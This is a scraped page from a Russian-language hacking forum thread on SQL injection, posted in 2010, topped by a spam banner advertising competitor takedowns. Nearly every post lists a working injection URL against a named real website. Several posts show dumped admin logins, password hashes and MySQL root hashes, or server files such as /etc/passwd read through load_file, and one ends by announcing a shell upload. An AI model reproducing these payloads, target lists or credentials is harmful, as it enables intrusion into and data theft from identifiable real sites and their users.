УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 1313 из 1604

1313

Опции темы

Поиск в этой теме

Опции просмотра

#13121

19.09.2010, 14:25

Terminolog

Новичок

Регистрация: 15.05.2010

Сообщений: 1

Провел на форуме:
67699

Репутация: 5

Отправить сообщение для Terminolog с помощью ICQ

Код:

Code:
http://ww2db.com/read.php?read_id=21-999.9+union+select+1,2,3,4,5,6,7,8--

TИЦ 20

Код:

Code:
http://mb.shopex.cn/match2008/templatedetails.php?id=118-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--

Код:

Code:
http://www.theotherjournal.com/article.php?id=452-999.9+union+select+1,2,3,4,5,6--

Код:

Code:
http://www.no-smoke.org/learnmore.php?id=645-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12--

ТИЦ 20

Код:

Code:
http://climaterealists.com/index.php?id=3047-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

Код:

Code:
http://www.almubadara.org/new/edetails.php?id=6125-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

ТИЦ 10

Код:

Code:
http://www.coussouleforcongress.com/index.php?page=pressrelease&content=extended&id=22-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

Код:

Code:
http://www.mtexpress.com/index2.php?ID=2005131577-999.9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

ТИЦ 10

Код:

Code:
http://climaterealists.com/index.php?id=6294-999.9+union+select+1,2,3,4--

Код:

Code:
http://www.modelminority.com/joomla/index.php?option=com_content&view=article&id=322:in-florida-japanese-americans-endure-slurs-echoes-&catid=47:society&Itemid=56-999.9+union+select+1,2,3,4,5--

ТИЦ 10

Код:

Code:
http://www.lyricshotspot.com/song.php?sid=47139&aid=13376-999.9+union+select+1,2,3,4--

Повторов нет.

#13122

19.09.2010, 14:36

nemaniak

Участник форума

Регистрация: 10.06.2008

Сообщений: 201

Провел на форуме:
1174919

Репутация: 229

www.dynamicchiropractic.ca PR-5

Код:

Code:
http://www.dynamicchiropractic.ca/mpacms/dc/article.php?id=-53663+union+select+1,2,3,4,5,6,7,8,9,0,11,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*

Код:

Code:
4.1.21-standard:mpacms@localhost:mpacms

www.mta.ca PR-7 ТИЦ-130

Код:

Code:
http://www.mta.ca/news/index.php?id=-612+union+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4+--+

Код:

Code:
5.0.77:news@localhost:news

ctvmedia.ca PR-6

Код:

Code:
http://ctvmedia.ca/ctv/releases/release.asp?id=10920+or+1=@@version&yyyy=2008

Код:

Code:
Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

#13123

19.09.2010, 14:49

intNet

Познающий

Регистрация: 31.05.2009

Сообщений: 68

Провел на форуме:
1271980

Репутация: 19

PR4

Код:

Code:
http://www.ece.uk.com/news.php?newsid=10+and+1=0+union+select+concat_ws(0x3a,loginid,password,type),2,3,4,5+from+adminuser_ece

/admin/

#13124

19.09.2010, 14:49

Sajeys

Guest

Сообщений: n/a

Провел на форуме:
59124

Репутация: 5

http://predict.rediff.com/member_profile.php?mem_id=-118705%20union%20select%201,2,3,4,CONCAT(0x6472385 %20F3838777777333371,LOAD_FILE(0x2F6574632F7061737 377%2064),0x686874666638385F363632),6,7,8,9,10,11, 12,13,%2014,15%20from%20mysql.user

#13125

19.09.2010, 15:39

tracy

Познающий

Регистрация: 24.03.2009

Сообщений: 54

Провел на форуме:
333485

Репутация: 13

http://www.iteam.ru/articles.php?pid=1&tid=2&sid=15&id=118+and+1=0+uni on+select+1,2,unhex(hex(version())),4,5,6,7+--+

4.1.7-log
ТИЦ:1600

#13126

19.09.2010, 15:50

Kusto

Moderator - Level 7

Регистрация: 04.02.2007

Сообщений: 554

Провел на форуме:
7518056

Репутация: 1089

Отправить сообщение для Kusto с помощью ICQ

онлайн магазин- картон выводить не стал

http://www.31girl.com/shop.php?pid=-1+union+select+1,2,3,4,lastip,6,7,8+from+i31girl_c ms.31girlpages+--+

и еще какойто магазин

http://www.witex-rus.ru/shop.php?action=cat&pid=18+and+1=0+union+select+11 11,2222,concat(login,char(58),passwd),4444,5555,66 66,7777+from+witexru3.dilers+limit+1,1+--+

и еще один магазин

http://www.parador-rus.ru/shop.php?action=price&pid=17&cat=42+and+1=0+union+ select+1,2,3,concat(email,char(58),pwd),5,6+from+k ameo_polzov+--+

и еще

http://www.appcraft.org/shop.php?pid=45&kid=53+union+select+concat(user,ch ar(58),passwd)+from+user+limit+1,1+--+

результат между тегами- титл

и еще

http://in-green.com.ua/shop.php?pID=4343+and+1=0+union+select+1,2,user_pa ssword,4,5,6,7,8,9,10,11,12,13,14,15+from+administ rators+--+

#13127

19.09.2010, 19:53

tracy

Познающий

Регистрация: 24.03.2009

Сообщений: 54

Провел на форуме:
333485

Репутация: 13

http://www.avtoweb.com/index.php?sl=history&id=3+and+1=0+union+select+con cat_ws(0x3a,converge_pass_hash,converge_pass_salt) ,2,3+from+avtoweb_forum.ibf_members_converge--+

Нету привелегий на запись шелла в админцентре
ТИЦ : 150 PR: 4

#13128

19.09.2010, 23:09

daniel_1024

Участник форума

Регистрация: 15.07.2009

Сообщений: 158

Провел на форуме:
698831

Репутация: 34

http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,version( )--

PR: 6 Tcy: 20

Database Version: 5.0.51a-3ubuntu5.7

Database name: personal

User name: webman@localhost

OC type: debian-linux-gnu

File_priv: Y

Тащим пароли:

root@localhost:*0CA25A7460DE36F573955BB6CC1037119D 430775

debian-sys-maint@localhost:*8555C67D4351FEBBCF51BDDFD449C54C3 11E0C51

webman@localhost:*A07537A34A4A4C6485AA51D2A3C32973 C954D5A6

http://www.imedea.csic.es/phpMyAdmin/index.php - 200 OK

Кое-что интересное:

Цитата:

Сообщение от None

-------------------------------------------------------
LFI/Reader/Load_file() - unvisual error when wrong query
-------------------------------------------------------
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/etc/vsftpd.conf
')
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/etc/mysql/my.cnf
')
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/etc/ssh/sshd_config
')
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/etc/passwd
')
http://www.imedea.csic.es/ICG/php/curri.php?id=63009+and+1=0+union+select+1,load_fil e('
/var/log/apache2/error.log
')

Итог: есть файловые привилегии, mq=off, путь до сайта можно посмотреть в логах ошибок апача

Льём шелл

#13129

19.09.2010, 23:31

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

Провел на форуме:
2101094

Репутация: 672

Отправить сообщение для Konqi с помощью ICQ

http://www.turkeyrus.com/rusorgs2.asp?ID=4+union+select+1,2,3+from+msysacce ssobjects

http://www.musicolog.com/forum_cevap.asp?ID=889+union+select+1,2,3,4,5,6,7, 8,9,10,11,12+from+msysaccessobjects

http://www.uniqueturkey.com/page.asp?id=48+union+select+1,2,3,4,5,6+from+msysa ccessobjects (column 3 )

http://www.sleepandhypnosis.org/article.asp?id=27+union+select+1,2,3,4,5,6,7,8,9,1 0,11,12,13+from+msysaccessobjects

http://www.extreminal.com/extreminal/en/kritik.asp?id=295+union+select+1,2,3,4,5,6,7,8,9,1 0+from+msysaccessobjects

http://www.egypttourplanner.com/EgyptTour.asp?id=7+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,13,14,15,16,17,18+from+msysaccessobjects

#13130

20.09.2010, 00:08

av1

Участник форума

Регистрация: 06.10.2008

Сообщений: 165

Провел на форуме:
355997

Репутация: 66

Отправить сообщение для av1 с помощью ICQ

Код:

Code:
http://www.ekz.de/index.php?id=74%27&tx_pxekzshop[group]=-1000232+UNION+SELECT+1,2,3,4,5,concat_ws%280x3a,user%28%29,version%28%29,database%28%29%29,7--&cHash=3bd5fc42f3